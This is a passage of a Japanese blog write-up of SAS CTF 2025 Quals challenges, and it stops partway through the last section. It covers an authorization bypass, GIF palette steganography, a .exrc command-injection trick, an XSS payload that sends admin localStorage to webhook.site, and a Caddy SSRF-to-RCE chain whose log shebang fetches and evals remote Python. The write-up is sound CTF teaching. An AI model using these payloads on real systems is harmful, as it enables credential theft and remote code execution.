st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏 Please feel free to ask questions in English if that's more comfortable for you👍

SAS CTF 2025 Quals writeup

5/24 - 5/25という日程で開催された。チームBun*1として参加して8位。上位8チームは10月にタイ・カオラックで開催される決勝に招待されるらしい。ただ、旅費・宿泊費が運営から提供されるのはさらに上位のごく一部であり、我々には支給されず悲しい*2。Webがいずれも面白かった。web2.5と自称するBurmaldaやweb3のrevであるところのit Sovaも解きたかったなあ。

どうでもいい話だけれども、普段はWindows + WSL2でCTFを解いているところ、最近実機のLinuxノートがほしいなあと思って購入*3・セットアップ*4したので、早速その実戦投入をしていた。便利だねえ。


[Web 50] Drift Chat (86 solves)

"Fifty percent of something is better than a hundred percent of nothing." -- Vin Diesel, probably

(問題サーバのURL)

添付ファイル: web-drift.tar.gz

ソースコードがそこそこの規模の割にCTFが始まってすぐからガンガン解かれており、なんかやらかしてるっぽいなあと思いつつ問題に取り組み始めた。さて、チャットアプリが与えられている。ユーザ登録・ログイン後に次のようにチャットルームを作成できるようになるが、この際に特定のユーザしか入室できないよう制限できる。たしかに、ほかの人が作ったチャットルームをクリックしても何も起こらない。

ソースコードを確認していく。init.sql を確認すると、次の記述が見つかる。best chat eva というチャットルームにフラグが投稿されているけれども、このチャットルームには kek もしくは admin というユーザしか入室できない。これらのユーザはランダムなパスワードであり、突破は非常に難しい。

INSERT INTO users (username, password) VALUES ('kek', substring(md5(random()::text) from 0 for 16));
INSERT INTO users (username, password) VALUES ('admin', substring(md5(random()::text) from 0 for 16));
INSERT INTO chats (name, allowed_users) VALUES ('best chat eva', '{"kek", "admin"}');
INSERT INTO messages (chat_name, author, content) VALUES ('best chat eva', 'admin', 'SAS{FLAG}');

solve数の多さから、なにかわかりやすい致命的なバグがあるのだろうと考えた。たとえば認可処理の実装にミスがあり、本来は入室できないチャットルームのコンテンツを見ることができたりするのではないか。早速次のようなコマンドを実行して、本来見ることができないはずの best chat eva というチャットルームの会話を得ようとする。

curl 'https://(省略)/api/chat/get' \
…
  -H 'content-type: application/json' \
  -b 'token=…' \
…
  --data-raw '{"chat":"best chat eva"}'

なんと、これが通ってしまった。

SAS{c1u7ch_k1ck_dr15t_ch4t_b2f771}

[Stego 325] Lirili Larila (26 solves)

Please rate up my recent artwork made in a 10-hour lungo-infused drawing session

添付ファイル: lirili.gif

まさかのステガノ問。Minecraft問も去年に引き続き複数問が出ていたし、なんだか変な問題も混じってくるCTFだ。さて、この問題では爆発しながらサボテン象が現れるアニメーションGIFが与えられている。普通に見た感じでは何も違和感がない。

私が問題を見た時点で、つちりゅうさんが謎の手法で以下のようにフラグの一部を抜き出していた。いわく、StegoVeritasというツールに投げたところこれを吐き出したということだった。

たしかに、オプションを付けずにこのGIFをStegoVeritasに投げると、先程のフラグの一部が出力される。オプションを付け外ししてどういう方法で抜き出されたか確認すると、-colorMap 227 でこの画像が出力されるとわかった。このオプションの説明は次の通り。コードを読むと、パレットを編集していることがわかる。

  -colorMap [N [N ...]]
                        Analyze a color map. Optional arguments are colormap
                        indexes to save while searching

なるほど、出力されると同じ色になるけれども、実のところパレットの番号が異なるという形で巧妙にフラグの一部を隠していたらしい。自分でもやってみよう。GIFのフォーマットを調べつつ、次のようなコードでパレット部分を破壊する。

import os
with open('stego.gif', 'rb') as f:
    s = f.read()
with open('stego_.gif', 'wb') as f:
    f.write(s[:0xd])
    f.write(os.urandom(768))
    f.write(s[0xd+768:])

実行すると、たしかにいい感じにフラグの一部が浮き出ている画像ができた。

では、残りのパーツはどこにあるのだろう。画像の幅・高さやフレーム数の割にはファイルサイズが10MB程度と大きいので、68枚というフレーム数がダミーで実際はもっと多いのではないか、使われていないデータがあるのではないか、フレーム間のウェイトが実は微妙に違っていてモールス信号や0/1になっているのではないか、LSBに仕込んでいるのではないか…と色々考える*5もののどれも不発だった。

ファイルサイズの大きさについて話す中で、つちりゅうさんが「ローカルカラーテーブル」について言及する。これは全フレームで共通のパレットとは別に、個別のフレームで別のパレットを設定できるというものだ。ImHexで眺めてみると、今回のアニメーションGIFはどのフレームもローカルカラーテーブルを使っていることがわかる。ここになにか仕込んでいるのではないか。

ローカルカラーテーブルを壊そう。各パレットの直前には幅・高さ・フラグが並んでいるけれども、どのフレームもその値は変わらないので、これを目印にローカルカラーテーブルの場所を把握する。

import os
with open('stego.gif', 'rb') as f:
    s = f.read()

i = s.find(b'\x80\x01\x80\x01\x87')
while i != -1:
    j = i + 5
    s = s[:j] + os.urandom(768) + s[j+768:]
    i = s.find(b'\x80\x01\x80\x01\x87', i + 1)

with open('stego_.gif', 'wb') as f:
    f.write(s)

出力されたGIFを ffmpeg -i stego_.gif result3/%02d.png のようにしてフレームごとに分ける。すると、次のようにフラグのすべてのパーツが得られた。

leetで読みづらい上に長かった。

SAS{50m3_3leph4n7s_c4n_h1d3_7h31r_53cr3ts_1n_l0c4l_p4ll3tes}

わざわざノーヒントのステガノグラフィ問題を出すなよと思っていたけれども、アニメーションGIFという使い古されたフォーマットでLocal Color Tableに仕込むという新規性を出してくるという点に感心してしまってちょっと悔しい。

[Misc 338] WX Underground (25 solves)

Decades ago, the great city of Cockbit was wiped from the map of our world. Ever since, nestled amid the forsaken stones of the once-mighty city, a hidden corridor stirs to life for a day in a year. What lies at its end defies the understanding of conventional science. Those few who have returned speak of IT with ceaseless awe.

Only true hero can surpass all the obstacles and emerge victory over this dangerous creature. If only we knew who can instill hope to the hearts of oppressed...

(InstancerのURL)

添付ファイル: wx.zip

見覚えがある名前だなあ。全チーム共用でなくいちいち新たにコンテナを立てられるinstancerを用意しているあたり、環境を派手に破壊したり他チームに影響が出たりする解法が想定されているだろう。

さて、私がこの問題を見る前にすでにsugiさんが少しその内容を確認しており、私が以前解いたKalmarCTF 2025のRWX - Goldと似ている、というよりもそれを魔改造したようなものだから私が解けとDiscordでメンションが送られていた。

ソースコードが与えられている。主要な箇所は次の通り。RWX - Goldとの相違点として、次のようなものが挙げられる:

  • /read というエンドポイントが消えており、ファイルの読み出しができなくなっている
  • 実行できるOSコマンドの長さが3文字以下から4文字以下と制限が緩められている。代わりに、| は利用できない
  • なぜかUbuntuからAlpine Linuxになっている
  • 目的が /tung tung tung tung tung sahur の実行になっている

/read が消えているのがやや面倒くさそうだ。

from flask import Flask, request, send_file
import subprocess

app = Flask(__name__)

# Inspired by and derived from https://ctftime.org/task/30126
@app.route('/write', methods=['POST'])
def write():
    filename = request.args.get('filename', '')
    content = request.get_data()
    try:
        with open(filename, 'wb') as f:
            f.write(content)
            f.flush()
        return 'OK'
    except Exception as e:
        return str(e), 400

@app.route('/exec')
def execute():
    cmd = request.args.get('cmd', '')
    if len(cmd) > 4:
        return 'Command too long', 400
    if "|" in cmd:
        return 'No pipi racing this time :(', 400
    try:
        output = subprocess.check_output(cmd, shell=True)
        return output
    except Exception as e:
        return str(e), 400

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=7331)

docker exec -it … sh でシェルを起動し、タブを押して実行できそうなファイルの一覧を得る。とりあえず4文字のコマンドを探すと、次のような一覧が得られた。

>>> [x for x in s if len(x) == 4]
['2to3', 'mdev', 'mesg', 'more', 'arch', 'beep', 'nice', 'ntpd', 'ping', 'pip3', 'chvt', 'pmap', 'comm', 'cpio', 'pwdx', 'date', 'rdev', 'read', 'diff', 'echo', 'eval', 'exec', 'exit', 'expr', 'find', 'fold', 'free', 'fsck', 'shuf', 'size', 'sort', 'gcov', 'stat', 'stty', 'grep', 'sync', 'gzip', 'halt', 'hash', 'tail', 'head', 'help', 'test', 'time', 'trap', 'tree', 'ifup', 'true', 'init', 'type', 'ipcs', 'uniq', 'jobs', 'kill', 'unxz', 'last', 'less', 'link', 'wait', 'wget', 'lsof', 'lzma', 'lzop', 'zcat', 'zcip']

2to3pip3 といったPython関連のものが怪しく見える。KalmarCTFと同じアプローチで、OSコマンド実行時に存在しないファイル、たとえば設定ファイルを参照していないか確認してみよう。

docker-compose.ymlprivileged: true を加え、root ユーザで strace を入れる。もし書き込み可能な場所(/home/patapim//tmp/ の下)にあるファイルを参照していれば万々歳だけれども、残念ながら 2to3pip3 も次のように存在しないディレクトリやその下にあるファイルを参照しようとしており、今回はディレクトリを作成できないという制約があるために使えなかった。

/app $ strace 2to3 2>&1 | grep ENOENT | grep home
stat("/home/patapim/.local/lib/python3.12/site-packages", 0x7ffe7cd5d170) = -1 ENOENT (No such file or directory)
/app $ strace pip3 2>&1 | grep ENOENT | grep home
stat("/home/patapim/.local/lib/python3.12/site-packages", 0x7ffcc833cca0) = -1 ENOENT (No such file or directory)
stat("/home/patapim/.pip/pip.conf", 0x7ffcc833d670) = -1 ENOENT (No such file or directory)
stat("/home/patapim/.config/pip/pip.conf", 0x7ffcc833d670) = -1 ENOENT (No such file or directory)

すべての実行可能なコマンドの一覧を見ていると、vi が目に入った。そんな便利なコマンドが使えるんかい!! これについても strace でなにか面白いファイルを参照しようとしていないか確認したところ、.exrc というファイルを読もうとしていることがわかった。これだ。

/app $ strace vi 2>&1 | grep ENOENT
stat("/home/patapim/.exrc", 0x7ffd8871f5b0) = -1 ENOENT (No such file or directory)

.exrcvi のいろいろな設定ができるのだけれども、たとえば !ls のようにしてOSコマンドの実行もできてしまう。ということで .exrc を使えばOSコマンドが実行し放題だけれども、どうやって /read なしにその実行結果を得るか。実行結果をBase64したファイルをホームディレクトリ下に作成すればよい。ls ~ でその結果が得られるから。

import httpx
with httpx.Client(base_url='https://(省略)/') as client:
    client.post('/write?filename=/home/patapim/.exrc', data='''
!touch /home/patapim/$(/tung tung tung tung tung sahur | base64 -w0)
'''.strip())
    r = client.get('/exec?cmd=vi')
    print(r.text)
    r = client.get('/exec?cmd=ls ~')
    print(r.text)

実行するとフラグが得られた。

$ python3 s.py 
Command 'vi' returned non-zero exit status 1.
U0FTe2hhaGFfdzFsZGM0cmRfaW5qM2N0aTBuX2cwZXNfYnJyX2Jycl9wNHRhcDFtfQ==
SAS{haha_w1ldc4rd_inj3cti0n_g0es_brr_brr_p4tap1m}

[Web 437] Bubble Tea Diaries (16 solves)

An old duke is having a walkout near London's Tower. He sees a dog lying by the path. - How do you do? - he asks. - I do how how. - it answers.

(問題サーバとadmin botのURL)

添付ファイル: server.zip

いつの間にか追加されており、kanonさんに教えてもらわなければ見逃すところだった。admin botがいるあたり、XSSかそれに類する脆弱性を使う問題なのだろうと推測する。たまにそうでないこともあるけど。

botの重要な箇所は次の通り。攻撃対象のサーバはスレッドの一覧ができない掲示板アプリらしいけれども、adminがフラグを含んだスレッドを作成し、それからユーザが報告したURLにアクセスしてくれるらしい。このアクセス先は、問題サーバで立てられたスレッドに限られる。

        with open('/app/flag.txt', 'r') as f:
            flag = f.read().strip()

        post_text_field = WebDriverWait(driver, 10).until(
            expected_conditions.presence_of_element_located((By.CLASS_NAME, "post-textarea"))
        )
        time.sleep(0.5)
        post_text_field.clear()
        post_text_field.send_keys(flag)
# …
def visit(url: str) -> Tuple[bool, str]:
    if not url.lower().startswith(f"{SERVICE_HOST}/post/"):
        return False, "No way I'm visiting that, only posts!"

    driver = run_chrome()
    credentials = load_credentials()

    try:
        if not login(driver, credentials):
            register(driver)
            save_credentials(credentials)

        driver.get(url)
        write_opinion(driver)
        time.sleep(0.5)
    except Exception:
        return False, f"Bot failed:\n{traceback.format_exc()}"
    finally:
        driver.quit()

    return True, "Bot job has finished successfully!"

投稿時にはBBコードも使えるらしい。その変換は自前で実装されているけれども、画像周りが大変怪しい処理になっている。alt 等のためかどうかはわからないけれども、任意の属性が仕込めるようになっている。

    def _handle_image(self, text):
        simple_pattern = r'\[img\](https?://[^"\'\[\]<>]+?\.(?:jpg|jpeg|png|gif))\[/img\]'
        text = re.sub(simple_pattern, 
                      r'<img src="\1" alt="User posted image" style="max-width:100%;">', 
                      text)

        dim_pattern = r'\[img=(\d+),(\d+)\](https?://[^"\'\[\]<>]+?\.(?:jpg|jpeg|png|gif))\[/img\]'
        text = re.sub(dim_pattern, 
                      r'<img src="\3" width="\1" height="\2" alt="User posted image" style="max-width:100%;">', 
                      text)

        attr_pattern = r'\[img ([^\]]+)\](https?://[^"\'\[\]<>]+?\.(?:jpg|jpeg|png|gif))\[/img\]'
        
        def img_attr_replacer(match):
            attrs_str = match.group(1)
            img_url = match.group(2)
            return f'<img src="{img_url}" {attrs_str} style="max-width:100%;">'
            
        text = re.sub(attr_pattern, img_attr_replacer, text)
        
        return text

[img onerror=alert(1)]https://example.com/image.jpg[/img] でXSSに持ち込むことができた。CSP等の制限はないし、JWT等は localStorage に保存されていて、Cookieのようにアクセスできるかどうかを気にする必要はまったくない。[img onerror=navigator.sendBeacon(`//webhook.site/(省略)`,JSON.stringify(localStorage))]https://example.com/image.jpg[/img] で、adminとしてログインするために必要な情報を得られた。

得られた情報を使ってadminとなり、自身の投稿を見るとフラグが得られた。

SAS{bl4ck_c47_1n_th3_bl4ck_r0om_d01n_b00m_boom_b00m}

難易度の割になぜかsolve数が少ない問題だった。

[Web 445] Proxy (15 solves)

Nowadays, some kind of connection transitivity is often required. We're quite new to this market, would you mind to check our MVP?

(InstancerのURL)

添付ファイル: web-proxy.tar.gz

これもinstancerが用意されている。暴れろということらしい。ソースコードはシンプルな構成になっている。まず compose.yaml は次の通り。イメージの名前から察するにCaddyが動いているっぽい。buildimage が同時に宣言されているので、見るべきは Dockerfile っぽい。

services:
  caddy:
    build: .
    image: cr.yandex/crptrom4kvc0o44vpcg6/caddy
    ports:
      - 8080:80
    cap_drop:
            - CAP_DAC_OVERRIDE

Dockerfile は次の通り。やはりCaddyを動かしている。なぜわざわざPythonをインストールしているのだろうというのはおいておいて、flag.sh という興味深いファイルがある。パーミッションが削ぎ落とされているので、なんとか実行や読み込みが可能な状態にしなければならなそう。また、もしCaddyが落ちたら再起動するようになっている。

FROM caddy:2.10-alpine

RUN apk add --no-cache \
    python3-dev \
    py3-pip 

WORKDIR /app
COPY index.html ./
COPY Caddyfile ./

RUN chmod 666 /app/index.html

COPY flag.sh /
RUN chmod 0000 /flag.sh

CMD while true; do sh -c 'caddy run --config /app/Caddyfile'; done

flag.sh は次の通り。これを実行したり読み込んだりできれば勝ちだ。

#!/bin/sh


echo -e '\t\tSAS{FLAG}';

Caddyfile は次の通り。/example.com:8000/hoge にアクセスすると http://example.com:8000/hoge の内容を返すというようなプロキシになってくれるようだ。SSRFでなんとかするのだろうなあと考える。ただ、どこに? という問題があるし、それでRCEにまで繋げられるのかと思う。

:80 {
    @stripHostPort path_regexp stripHostPort ^\/([^\/]+?)(?::(\d+))?(\/.*)?$

    map {http.regexp.stripHostPort.2} {targetPort} {
        "" 80
        default {http.regexp.stripHostPort.2}
    }

    map {http.regexp.stripHostPort.3} {targetPath} {
        "" /
        default {http.regexp.stripHostPort.3}
    }

    handle @stripHostPort {
        rewrite {targetPath}

        reverse_proxy {http.regexp.stripHostPort.1}:{targetPort} {
            header_up Host {http.regexp.stripHostPort.1}:{targetPort}
        }
    }

    handle {
        root * ./
        file_server
    }
}

とりあえずなんでもよいのでSSRFする対象がないかと考える。ここで、一旦ほかの問題を見ていたのだけれども、docker ps したときに気になるものを見つけた。2019/tcp を利用しているらしい。TCPとUDPの443はHTTPSだろうけれども、2019/tcp は一般的ではないので気になる。

$ docker ps
CONTAINER ID   IMAGE               COMMAND                   CREATED         STATUS         PORTS                                NAMES
ba00b5c0915a   caddy:2.10-alpine   "caddy run --config …"   6 seconds ago   Up 5 seconds   80/tcp, 443/tcp, 2019/tcp, 443/udp   thirsty_chaplygin

「caddy 2019 port」等でググると、どうやらこれはCaddyが管理用のAPIを提供するポートだとわかった。もちろんHTTPを使うけれども、localhost:2019 でリッスンしているので外部からはアクセスできない。しかし、今回はSSRFができる。試しに /localhost:2019/config/ にアクセスすると、現在適用されているCaddyの設定が得られた。

この機能を使ってなにか悪いことはできないか。Caddyのドキュメントを眺めていると、POST /load というAPIが見つかる。これは Caddyfile やその別表現であるJSONを投げると、なんとその設定を読み込んで置き換えてくれるというものだった。強力すぎる。

以下のスクリプトを書いて、SSRFで POST /load を叩けないか試した。すると、この設定が有効化されたようで、/ にアクセスすると Hello, world! を返すようになった。

import httpx

BASE_URL = 'http://localhost:8080/'

json = {
    "apps": {
        "http": {
            "servers": {
                "hello": {
                    "listen": [":80"],
                    "routes": [
                        {
                            "handle": [{
                                "handler": "static_response",
                                "body": "Hello, world!"
                            }]
                        }
                    ]
                }
            }
        }
    }
}

with httpx.Client(base_url=BASE_URL) as client:
    r = client.post('/localhost:2019/load', json=json)
    print(r.text)

これで、本質的には好きな Caddyfile を書いてRCEに持ち込むという問題になった。しかし、ここからが本番だ。まず考えたのはSSTIに持ち込むというもので、たとえばKalmarCTFのEz ⛳シリーズを参考に次のような設定にすることで、User-Agent から好きなテンプレートをレンダリングさせられる。ただ、その問題である程度調べた際に、これは text/templateを使っているので、色々な情報の取得はできるけれどもRCEに持ち込むのは難しいとわかっていた。うーん。

(repdayo) {
    header Content-Type text/html
    templates
    respond "<!DOCTYPE html><meta charset=utf-8><title>rep</title><body>{args[0]}</body>"
}

:80 {
    root * /
    handle / {
        templates
        import repdayo `User-Agent: {{.Req.Header.Get "User-Agent"}}`
    }
}

ふと、Caddyの機能でなにか chmod してくれるようなものはないかと考えた。os.Chmod で検索すると2ヶ所ほど見つかる。特にリッスン周りのコードで使われているのが気になった。どうやらUNIXドメインソケットでリッスンする際に、たとえば unix//flag.sh|777 のようにしてパーミッションも設定できるようになっているようだ。ただ、{ admin unix//flag.sh|777 } のような設定を読み込ませてみたところ、/flag.sh は上書きされてしまった。それはそう。

/app # ls -la /flag.sh 
srwxrwxrwx    1 root     root             0 May 24 15:27 /flag.sh

悩んでいたところ、いっそのこと cron のようなものの助けを借りて、どこかにファイルを配置したらそれを実行してくれたりしないかというアイデアが思い浮かんだ。

まず「cron のようなもの」については、それそのものは crond がいないのでダメだ。今回のDockerイメージでは、while true; do sh -c 'caddy run --config /app/Caddyfile'; done のように caddy はその絶対パスを指定せずに実行されていることを思い出そう。PATH の問題から、/usr/local/sbin/caddy に配置すると本来のCaddyがいる /usr/bin/caddy よりも優先されて参照される。これだ。ここにシェルスクリプトとして解釈できるテキストを書き込んでしまおう。

任意の場所にファイルを用意するということについては、ログファイルを使えばよい。ありがたいことに mode を使うとパーミッションを指定できて、実行可能にできる。書き込まれている間はファイルがビジーになってしまって実行できないけれども、それは POST /load で再度別の設定を読み込ませて解放させてやればよい。

ただ、書き込む内容が問題だ。調べた限りではログのフォーマットはそこまで自由に操作できない。各行の最初に来るタイムスタンプはある程度フォーマットが自由なので、ここにshebangとして解釈できるペイロードを仕込んでやろう。その後ろに色々いらないテキストも付いてくるけれども、それはコメントアウトさせよう。

    log {
        output file "/usr/local/sbin/caddy" {
            mode 777
            roll_disabled
        }
        format filter {
            request delete
            bytes_read delete
            user_id delete
            duration delete
            size delete
            status delete
            resp_headers delete

            wrap console {
                time_format "#!/usr/bin/python -cprint(1)#"
                level_format "lower"
            }
        }
    }

もうひとつ、/usr/local/sbin/caddy に悪いシェルスクリプトを書き込むと caddy を実行した際にそれが呼び出されるというのはよいけれども、そうさせるために今走っている caddy のプロセスを落とす必要がある。ではどうするか。2019/tcp で動いていたあの管理用のAPIの中に、POST /stop というCaddyを停止させられる便利なものがあった。

ということで、材料が揃った。まず、置き換えるための設定として以下のような Caddyfile がある。SSRFするためのエンドポイントを残しているけれども、これは今紹介した管理用のAPIの POST /stop を叩くためだ。管理画面は localhost:2019 でリッスンしているわけだから、外部からはこれがなければ叩けない。

また、/usr/local/sbin/caddy に書き込まれるシェルスクリプトについては、外部からPythonスクリプトを持ってきて実行するというものになっている。これは __import__('os').system('chmod 777 /flag.sh; cd /; python3 -m http.server 80') を返すようにしていて、これによって /flag.sh にアクセス可能になるし、その後にルートディレクトリからなんでもファイルを取得できるWebサーバも立ち上がる。

{
    admin :2019
}

:80 {
    root * /

    log {
        output file "/usr/local/sbin/caddy" {
            mode 777
            roll_disabled
        }
        format filter {
            request delete
            bytes_read delete
            user_id delete
            duration delete
            size delete
            status delete
            resp_headers delete

            wrap console {
                time_format "#!/usr/bin/python -ceval(__import__('urllib.request').request.urlopen('http://(省略)').read().decode());__import__('time').sleep(3)#"
                level_format "lower"
            }
        }
    }

    @stripHostPort path_regexp stripHostPort ^\/([^\/]+?)(?::(\d+))?(\/.*)?$

    map {http.regexp.stripHostPort.2} {targetPort} {
        "" 80
        default {http.regexp.stripHostPort.2}
    }

    map {http.regexp.stripHostPort.3} {targetPath} {
        "" /
        default {http.regexp.stripHostPort.3}
    }

    handle @stripHostPort {
        rewrite {targetPath}

        reverse_proxy {http.regexp.stripHostPort.1}:{targetPort} {
            header_up Host {http.regexp.stripHostPort.1}:{targetPort}
        }
    }

    handle {
        root * ./
        file_server
    }
}

exploitは次の通り。先程の Caddyfile に相当するJSONを投げて読み込ませ、続いて / にアクセスしてログを書き込ませ、そして /stop でCaddyを「再起動」させるという流れだ。

import httpx

BASE_URL = 'http://(省略)/'

# /usr/local/sbin/caddyに書き込む
json1 = {"admin":{"listen":":2019"},"apps":{"http":{"servers":{"srv0":{"listen":[":80"],"logs":{"default_logger_name":"log0"},"routes":[{"handle":[{"defaults":["{http.regexp.stripHostPort.2}"],"destinations":["{targetPort}"],"handler":"map","mappings":[{"outputs":[80]}],"source":"{http.regexp.stripHostPort.2}"},{"defaults":["{http.regexp.stripHostPort.3}"],"destinations":["{targetPath}"],"handler":"map","mappings":[{"outputs":["/"]}],"source":"{http.regexp.stripHostPort.3}"},{"handler":"vars","root":"/"}]},{"group":"group2","handle":[{"handler":"subroute","routes":[{"group":"group0","handle":[{"handler":"rewrite","uri":"{targetPath}"}]},{"handle":[{"handler":"reverse_proxy","headers":{"request":{"set":{"Host":["{http.regexp.stripHostPort.1}:{targetPort}"]}}},"upstreams":[{"dial":"{http.regexp.stripHostPort.1}:{targetPort}"}]}]}]}],"match":[{"path_regexp":{"name":"stripHostPort","pattern":"^\\/([^\\/]+?)(?::(\\d+))?(\\/.*)?$"}}]},{"group":"group2","handle":[{"handler":"subroute","routes":[{"handle":[{"handler":"vars","root":"./"},{"handler":"file_server","hide":["/app/Caddyfile"]}]}]}]}]}}}},"logging":{"logs":{"default":{"exclude":["http.log.access.log0"]},"log0":{"encoder":{"fields":{"bytes_read":{"filter":"delete"},"duration":{"filter":"delete"},"request":{"filter":"delete"},"resp_headers":{"filter":"delete"},"size":{"filter":"delete"},"status":{"filter":"delete"},"user_id":{"filter":"delete"}},"format":"filter","wrap":{"format":"console","level_format":"lower","time_format":"#!/usr/bin/python -ceval(__import__('urllib.request').request.urlopen('http://(省略)').read().decode());__import__('time').sleep(3)#"}},"include":["http.log.access.log0"],"writer":{"filename":"/usr/local/sbin/caddy","mode":"0777","output":"file","roll":False}}}}}

with httpx.Client(base_url=BASE_URL) as client:
    r = client.post('/localhost:2019/load', json=json1)
    print(r.text)
    r = client.get('/')
    print(r.text)

    r = client.post('/localhost:2019/stop')
    print(r.text)

実行し、/flag.sh にアクセスするとフラグが得られた。

SAS{c4ddy_1s_my_d4ddy_78743533}

[Web 472] Drift Chat Revenge (11 solves)

"Every day you spend drifting away from your goals is a waste not only of that day, but also of the additional day it takes to regain lost ground" -- Vin Diesel, probably

(問題サーバのURL)

添付ファイル: web-drift-revenge.tar.gz

あのDrift Chatが帰ってきた! ということで、作問ミスのためか非常に簡単になってしまっていたDrift Chatのリベンジ問だ。diffは次の通り。return を忘れていたために、入室可能なユーザリストの中にログイン中のユーザが入っていなかった場合でも、403のステータスコードを返すだけで中断せず、以降のチャット内容の取得もそのまま実行し、返してしまっていたということらしい。

adminやkekとしてログインし、なにかやってくれるbotがいるわけではないので、クライアント側でなにかするような問題ではないのだろう。ということで、今回も認可処理のバイパスのような脆弱性を使ってメッセージを盗み見るのだろうと考える。

diff -ur ./internal/service/get_chat.go "../../Drift Chat Revenge/drift-chat/internal/service/get_chat.go"
--- ./internal/service/get_chat.go      2025-05-23 23:52:46.000000000 +0900
+++ "../../Drift Chat Revenge/drift-chat/internal/service/get_chat.go"  2025-05-25 04:49:56.000000000 +0900
@@ -43,7 +43,7 @@
        }
        token := tok[0].Value
        st := s.red.Get(ctx, fmt.Sprintf(redis.SessionUsername, token))
-       if st.Err() != nil {
+       if st.Err() != nil || st.Val() == "" {
                c.AbortWithStatus(403)
                c.Error(st.Err())
                return
@@ -53,6 +53,7 @@
        ok, _ := s.check_is_allowed(ctx, username, req.Chat)
        if !ok {
                c.AbortWithStatus(403)
+               return
        }

        messages, err := s.chat.GetMessages(ctx, req.Chat)

このチャットにはドラフト機能があり、適当なテキストを入力すると次のようにその内容が保存され、表示されるようになっている。メタ読みだけれども、わざわざこんな機能を実装しているのだから、なにか変な実装になっており想定解法ではそれを使うのだろうなあと思う。

docker-compose.yaml を見ると、次のようにPostgreSQLのほかにRedisが2つ立っていることがわかる。PostgreSQLにはユーザ情報やチャットルームの投稿等が保存されている。Redisにはドラフトの情報やセッションIDと結びついたユーザの情報等が保存されている。

2つのRedisはなにか使い方が異なるというわけではなく、go-redisRedis Ringとよばれる機能を使って負荷を分散しているらしい。

db:
    image: postgres:15-alpine
…

  redis1:
    image: redis:7-alpine
…

  redis2:
    image: redis:7-alpine
…

Redisのキーは次のようなものになっている。%s にはユーザ名やセッションIDが入ってくる。ユーザ名にはスラッシュも使えるので悪用できないかなと思うが、特に方法は思い浮かばない。とんでもなく長いキーを投げるとtruncationされるというわけでもなさそうだしなあと思う。

const (
    SessionUsername = "%s/username"
    WrittenNow      = "%s/written_now_chat" // Chat that the person is writing to now
    DraftMessage    = "%s/draft_message"
    ChatWriteList   = "%s/write_list" // Who is writing to the chat now (array)
    Online          = "%s/online"
)

コードを眺めていると、面白いことに気づいた。これはチャットルームを送信するAPIのコードの一部だけれども、送信後にそれまでのメッセージの一覧を返している。このようにチャットルームが持つメッセージを返すのは、それ専用のAPIとこれのふたつだけだ。なにか悪用できないか。

   messages, err := s.chat.GetMessages(ctx, chatName)
    if err != nil {
        c.AbortWithStatus(500)
        c.Error(fmt.Errorf("no messages %s", st.Err()))
        return
    }
// …
    c.JSON(200, getChatResp{Messages: messages})

このAPIが行っているチェックは次の通り。現在メッセージの書き込み中(つまり、ドラフトが作成されている)で、その書き込み先が同じチャットルームであり、そしてチャットルームに書き込み可能なユーザであること。最後の条件はおいておいて、ドラフト機能については認可周りの処理はどうなっているだろうか。

   st = s.red.Get(ctx, fmt.Sprintf(redis.DraftMessage, token))
    if st.Err() != nil {
        c.AbortWithStatus(500)
        c.Error(fmt.Errorf("no draft message %s", st.Err()))
        return
    }
    msg := st.Val()

    st = s.red.Get(ctx, fmt.Sprintf(redis.WrittenNow, token))
    if st.Err() != nil {
        c.AbortWithStatus(500)
        c.Error(fmt.Errorf("no written now %s", st.Err()))
        return
    }
    writtenNow := st.Val()
    if writtenNow != chatName {
        c.AbortWithStatus(403)
        c.Error(fmt.Errorf("written now is wrong %s", st.Err()))
        return
    }
// …
    ok, _ := s.check_is_allowed(ctx, username, chatName)
    if !ok {
        c.AbortWithStatus(403)
        return
    }

ドラフトの作成処理を見に行く。なんと書き込もうとしている先のチャットルームに書き込む権限があるかを確認していない。best chat eva を含めて、あらゆるチャットルームにドラフトを残すことができる。

func (s *Service) SetDraft(c *gin.Context) {
    ctx := c.Request.Context()

    req := setDraftReq{}
    if err := c.BindJSON(&req); err != nil {
        slog.Error("parse", "err", err)
        c.AbortWithStatus(532)
        return
    }

    tok := c.Request.CookiesNamed(tokenCookie)
    if len(tok) != 1 {
        c.AbortWithStatus(403)
        return
    }
    token := tok[0].Value
    st := s.red.Get(ctx, fmt.Sprintf(redis.SessionUsername, token))
    username := st.Val()
    if username == "" {
        c.AbortWithStatus(403)
        return
    }

    s.red.Set(ctx, fmt.Sprintf(redis.Online, username), "1", 10*time.Second)

    if req.Draft == "" {
        res := s.red.Del(ctx, fmt.Sprintf(redis.DraftMessage, token),
            fmt.Sprintf(redis.WrittenNow, token))
        if res.Err() != nil {
            c.AbortWithStatus(500)
            return
        }

        c.JSON(200, setDraftResp{})
        return
    }

    pipe := s.red.TxPipeline()
    pipe.SAdd(ctx, fmt.Sprintf(redis.ChatWriteList, req.Chat), token)
    pipe.Set(ctx, fmt.Sprintf(redis.DraftMessage, token), req.Draft, 0)
    pipe.Set(ctx, fmt.Sprintf(redis.WrittenNow, token), req.Chat, 0)
    _, err := pipe.Exec(ctx)
    if err != nil {
        c.AbortWithStatus(500)
        c.Error(err)
        return
    }

    c.JSON(200, setDraftResp{})
}

ただ、やはり以下の check_is_allowed が邪魔に思われる。悩みつつもなんとなくClaudeに聞いてみたところ、この実装が怪しいと言い出した。いわく、ユーザ名が空であるときに、本来 false を返すべきところ、エラーとあわせてではあるものの true を返してしまっている。たしかにおかしい。

func (s *Service) check_is_allowed(ctx context.Context, name, chat string) (bool, error) {
    if name == "" {
        return true, errors.New("no name")
    }

    ch, err := s.chat.GetChat(ctx, chat)
    if err != nil {
        return false, err
    }

    return slices.Contains(ch.AllowedUsers, name), nil
}

メッセージの送信処理で同関数を呼び出している箇所は次の通り。なんとエラーが返ってきているかどうかは確認していない。

   ok, _ := s.check_is_allowed(ctx, username, chatName)
    if !ok {
        c.AbortWithStatus(403)
        return
    }

登録時にユーザ名が6文字以上であるかチェックされているので、空のユーザ名を登録するということはできないけれども、それ以外のタイミングでユーザ名が空であるようにさせられないか。たとえば、セッションIDに紐づいたユーザ名を空にできないか。

思いついたのはログアウト処理だった。これは次のようにセッションIDに紐づいたユーザ名等を削除する。削除対象にはドラフトも含まれているけれども、ユーザ名は削除されているが、ドラフトは削除されていないという状況(Race Condition)を作り出せないか。

